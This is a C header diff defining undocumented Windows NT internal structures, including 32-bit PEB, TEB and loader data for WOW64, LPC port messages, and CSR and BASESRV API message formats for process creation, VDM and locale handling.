SharedNtdll32ExpInterlockedPopEntrySListResume = 6, + SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, + SharedNtdll32RtlUserThreadStart = 8, + SharedNtdll32pQueryProcessDebugInformationRemote = 9, + SharedNtdll32EtwpNotificationThread = 10, + SharedNtdll32BaseAddress = 11, + Wow64SharedPageEntriesCount = 12 +} WOW64_SHARED_INFORMATION; + +// 21.12.2011 added +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) +// 21.12.2011 - end + +// 32-bit definitions + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 +{ + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 +{ + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 +{ + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 +{ + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 +{ + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef + VOID + (*PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _TIB +{ + struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; + PVOID StackBase; + PVOID StackLimit; + PVOID SubSystemTib; + + union + { + PVOID FiberData; + ULONG Version; + }; + + PVOID ArbitraryUserPointer; + struct _TIB *Self; +} TIB; +typedef TIB *PTIB; + +// +// inifile mapping +// + +typedef struct _NLS_USER_INFO +{ + + /**/ /*|0xa0|*/ WCHAR iCountry[80]; + /**/ /*|0xa0|*/ WCHAR sCountry[80]; + /**/ /*|0xa0|*/ WCHAR sList[80]; + /**/ /*|0xa0|*/ WCHAR iMeasure[80]; + /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; + /**/ /*|0xa0|*/ WCHAR sDecimal[80]; + /**/ /*|0xa0|*/ WCHAR sThousand[80]; + /**/ /*|0xa0|*/ WCHAR sGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iDigits[80]; + /**/ /*|0xa0|*/ WCHAR iLZero[80]; + /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; + /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; + /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; + /**/ /*|0xa0|*/ WCHAR sCurrency[80]; + /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; + /**/ /*|0xa0|*/ WCHAR iCurrency[80]; + /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; + /**/ /*|0xa0|*/ WCHAR sPosSign[80]; + /**/ /*|0xa0|*/ WCHAR sNegSign[80]; + /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; + /**/ /*|0xa0|*/ WCHAR s1159[80]; + /**/ /*|0xa0|*/ WCHAR s2359[80]; + /**/ /*|0xa0|*/ WCHAR sShortDate[80]; + /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; + /**/ /*|0xa0|*/ WCHAR sLongDate[80]; + /**/ /*|0xa0|*/ WCHAR iCalType[80]; + /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; + /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; + /**/ /*|0xa0|*/ WCHAR sLocale[80]; + /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; + /**/ /*|0x4|*/ ULONG UserLocaleId; + /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; + /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; + /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; +} NLS_USER_INFO, *PNLS_USER_INFO; // + +typedef struct _INIFILE_MAPPING_TARGET +{ + struct _INIFILE_MAPPING_TARGET* Next; + struct _UNICODE_STRING RegistryPath; +} INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; + +typedef struct _INIFILE_MAPPING_VARNAME +{ + struct _INIFILE_MAPPING_VARNAME* Next; + UNICODE_STRING Name; + ULONG MappingFlags; + struct _INIFILE_MAPPING_TARGET* MappingTarget; +} INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; + +typedef struct _INIFILE_MAPPING_APPNAME +{ + struct _INIFILE_MAPPING_APPNAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_VARNAME* VariableNames; + struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; +} INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; + +typedef struct _INIFILE_MAPPING_FILENAME +{ + struct _INIFILE_MAPPING_FILENAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_APPNAME* ApplicationNames; + struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; +} INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; + +typedef struct _INIFILE_MAPPING +{ + struct _INIFILE_MAPPING_FILENAME* FileNames; + struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; + struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; + ULONG Reserved; +} INIFILE_MAPPING, *PINIFILE_MAPPING; + +#define PORT_CONNECT (0x0001) + +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + + ULONG Length; + + } u1; + + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + + union + { + LPC_CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + }; + + ULONG MessageId; + union + { + LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + }; + // UCHAR Data[]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY { + LPC_PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + + // + // csrss & csrsrv related + // + + typedef ULONG CSR_API_NUMBER; + +#define CSR_API_PORT_NAME L"ApiPort" + + // + // This structure is filled in by the client prior to connecting to the CSR + // server. The CSR server will fill in the OUT fields if prior to accepting + // the connection. + // + + typedef struct _CSR_API_CONNECTINFO { + HANDLE ObjectDirectory; + PVOID SharedSectionBase; + PVOID SharedStaticServerData; + PVOID SharedSectionHeap; + ULONG DebugFlags; + ULONG SizeOfPebData; + ULONG SizeOfTebData; + ULONG NumberOfServerDllNames; + HANDLE ServerProcessId; + } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; + + // + // Message format for messages sent from the client to the server + // + + typedef struct _CSR_CLIENTCONNECT_MSG + { + ULONG ServerDllIndex; + PVOID ConnectionInformation; + ULONG ConnectionInformationLength; + } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // + +#define CSR_NORMAL_PRIORITY_CLASS 0x00000010 +#define CSR_IDLE_PRIORITY_CLASS 0x00000020 +#define CSR_HIGH_PRIORITY_CLASS 0x00000040 +#define CSR_REALTIME_PRIORITY_CLASS 0x00000080 + + typedef struct _CSR_CAPTURE_HEADER { + ULONG Length; + PVOID RelatedCaptureBuffer; + ULONG CountMessagePointers; + PCHAR FreeSpace; + ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers + } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; + +#define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" + +#define CSRSRV_SERVERDLL_INDEX 0 +#define CSRSRV_FIRST_API_NUMBER 0 + +#define BASESRV_SERVERDLL_INDEX 1 +#define BASESRV_FIRST_API_NUMBER 0 + +#define CONSRV_SERVERDLL_INDEX 2 +#define CONSRV_FIRST_API_NUMBER 512 + +#define USERSRV_SERVERDLL_INDEX 3 +#define USERSRV_FIRST_API_NUMBER 1024 + +#define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ + (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) + +#define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ + ((ULONG)((ULONG)(ApiNumber) >> 16)) + +#define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ + ((ULONG)((USHORT)(ApiNumber))) + +typedef struct _CSR_NT_SESSION +{ + struct _LIST_ENTRY SessionLink; + ULONG SessionId; + ULONG ReferenceCount; + STRING RootDirectory; +} CSR_NT_SESSION, *PCSR_NT_SESSION; + +typedef struct _CSR_API_MSG +{ + PORT_MESSAGE h; + union + { + CSR_API_CONNECTINFO ConnectionRequest; + struct + { + PCSR_CAPTURE_HEADER CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { + CSR_CLIENTCONNECT_MSG ClientConnect; + ULONG_PTR ApiMessageData[ 46 ]; + } u; + }; + }; +} CSR_API_MSG, *PCSR_API_MSG; + +typedef +ULONG (*PCSR_CALLBACK_ROUTINE)( + IN OUT PCSR_API_MSG ReplyMsg + ); + +typedef struct _CSR_CALLBACK_INFO +{ + ULONG ApiNumberBase; + ULONG MaxApiNumber; + PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; +} CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; + +// end csrss + + +// +// Time Zone +// + +typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { + struct _RTL_TIME_ZONE_INFORMATION tzi; + WCHAR TimeZoneKeyName[ 128 ]; + UCHAR DynamicDaylightTimeDisabled; +} RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // + +// +// basesrv api +// + +typedef struct _BASESRV_API_CONNECTINFO +{ + ULONG ExpectedVersion; + HANDLE DefaultObjectDirectory; + ULONG WindowsVersion; + ULONG CurrentVersion; + ULONG DebugFlags; + WCHAR WindowsDirectory[ MAX_PATH ]; + WCHAR WindowsSystemDirectory[ MAX_PATH ]; +} BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; + +typedef enum _BASESRV_API_NUMBER { + BasepCreateProcess = BASESRV_FIRST_API_NUMBER, + BasepCreateThread, + BasepGetTempFile, + BasepExitProcess, + BasepDebugProcess, + BasepCheckVDM, + BasepUpdateVDMEntry, + BasepGetNextVDMCommand, + BasepExitVDM, + BasepIsFirstVDM, + BasepGetVDMExitCode, + BasepSetReenterCount, + BasepSetProcessShutdownParam, + BasepGetProcessShutdownParam, + BasepSetVDMCurDirs, + BasepGetVDMCurDirs, + BasepBatNotification, + BasepRegisterWowExec, + BasepSoundSentryNotification, + BasepRefreshIniFileMapping, + BasepDefineDosDevice, + BasepSetTermsrvAppInstallMode, + BasepSetTermsrvClientTimeZone, + BasepSxsCreateActivationContext, + BasepDebugProcessStop, + BasepRegisterThread, + BasepDeferredCreateProcess, + BasepNlsGetUserInfo, + BasepNlsSetUserInfo, + BasepNlsUpdateCacheCount, + BasepMaxApiNumber +} BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; + +typedef struct _BASE_NLS_SET_USER_INFO_MSG +{ + ULONG LCType; + USHORT* pData; + ULONG DataLength; +} BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; + +typedef struct _BASE_NLS_GET_USER_INFO_MSG +{ + struct _NLS_USER_INFO* pData; + ULONG DataLength; +} BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; + +typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG +{ + ULONG Reserved; +} BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; + +typedef struct _BASE_UPDATE_VDM_ENTRY_MSG +{ + ULONG iTask; + ULONG BinaryType; + PVOID ConsoleHandle; + PVOID VDMProcessHandle; + PVOID WaitObjectForParent; + USHORT EntryIndex; + USHORT VDMCreationState; +} BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; + +typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG +{ + ULONG iTask; + PVOID ConsoleHandle; + PVOID WaitObjectForVDM; + PVOID StdIn; + PVOID StdOut; + PVOID StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + ULONG ExitCode; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + struct _STARTUPINFOA* StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CurrentDrive; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT VDMState; + UCHAR fComingFromBat; +} BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; + +typedef struct _BASE_SHUTDOWNPARAM_MSG +{ + ULONG ShutdownLevel; + ULONG ShutdownFlags; +} BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; + +typedef struct _BASE_GETTEMPFILE_MSG +{ + ULONG uUnique; +} BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; + +typedef struct _BASE_DEBUGPROCESS_MSG +{ + ULONG dwProcessId; + CLIENT_ID DebuggerClientId; + PVOID AttachCompleteRoutine; +} BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // + +typedef struct _BASE_CHECKVDM_MSG +{ + ULONG iTask; + HANDLE ConsoleHandle; + ULONG BinaryType; + HANDLE WaitObjectForParent; + HANDLE StdIn; + HANDLE StdOut; + HANDLE StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + LPSTARTUPINFOA StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT CurDrive; + USHORT VDMState; + struct _LUID* UserLuid; +} BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; + +typedef struct _BASE_GET_VDM_EXIT_CODE_MSG +{ + PVOID ConsoleHandle; + PVOID hParent; + ULONG ExitCode; +} BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // + +typedef struct _BASE_DEFERREDCREATEPROCESS_MSG +{ + struct _CLIENT_ID* ClientId; + ULONG NtUserFlags; +} BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // + +typedef struct _BASE_EXITPROCESS_MSG { + NTSTATUS uExitCode; +} BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // + +typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG +{ + PVOID ConsoleHandle; + PCHAR lpszzCurDirs; + ULONG cchCurDirs; +} BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // + +typedef struct _BASE_SET_REENTER_COUNT +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // + +#if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300)) +typedef enum +{ + ACTCTX_RUN_LEVEL_UNSPECIFIED = 0, + ACTCTX_RUN_LEVEL_AS_INVOKER, + ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE, + ACTCTX_RUN_LEVEL_REQUIRE_ADMIN, + ACTCTX_RUN_LEVEL_NUMBERS +} ACTCTX_REQUESTED_RUN_LEVEL; + +typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION { + DWORD ulFlags; + ACTCTX_REQUESTED_RUN_LEVEL RunLevel; + DWORD UiAccess; +} ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + +typedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + + +#endif + +typedef struct _BASE_SXS_CREATEPROCESS_MSG +{ + ULONG Flags; + ULONG ProcessParameterFlags; + union + { + UNICODE_STRING CultureFallbacks; + ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; + } u; +} BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATEPROCESS_MSG +{ + PVOID ProcessHandle; + PVOID ThreadHandle; + CLIENT_ID ClientId; + ULONG CreationFlags; + ULONG VdmBinaryType; + ULONG VdmTask; + PVOID hVDM; + struct _BASE_SXS_CREATEPROCESS_MSG Sxs; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + USHORT ProcessorArchitecture; +} BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATETHREAD_MSG +{ + PVOID ThreadHandle; + CLIENT_ID ClientId; +} BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG; // + + +typedef struct _BASE_MSG_SXS_HANDLES +{ + PVOID File; + PVOID Process; + PVOID Section; + ULONGLONG ViewBase; +} BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // + + +typedef struct _BASE_EXIT_VDM_MSG +{ + PVOID ConsoleHandle; + ULONG iWowTask; + PVOID WaitObjectForVDM; +} BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // + + +typedef struct _BASE_IS_FIRST_VDM_MSG +{ + __int32 FirstVDM; +} BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // + + +typedef struct _BASE_SET_REENTER_COUNT_MSG +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // + + +typedef struct _BASE_BAT_NOTIFICATION_MSG +{ + PVOID ConsoleHandle; + ULONG fBeginEnd; +} BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // + + +typedef struct _BASE_REGISTER_WOWEXEC_MSG +{ + PVOID hEventWowExec; + PVOID ConsoleHandle; +} BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // + + +typedef struct _BASE_REFRESHINIFILEMAPPING_MSG +{ + UNICODE_STRING IniFileName; +} BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // + + +typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE +{ + struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; + ULONG ulDTZInfoSize; + KSYSTEM_TIME RealBias; + ULONG TimeZoneId; +} BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // + +typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE +{ + __int32 bState; +} BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; + + +typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG +{ + ULONG VideoMode; +} BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // + + +typedef struct _BASE_DEFINEDOSDEVICE_MSG +{ + ULONG Flags; + UNICODE_STRING DeviceName; + UNICODE_STRING TargetPath; +} BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // + +typedef struct _BASE_MSG_SXS_STREAM +{ + UCHAR FileType; + UCHAR PathType; + UCHAR HandleType; + UNICODE_STRING Path; + PVOID FileHandle; + HANDLE Handle; + unsigned __int64 Offset; + ULONG Size; +} BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // + 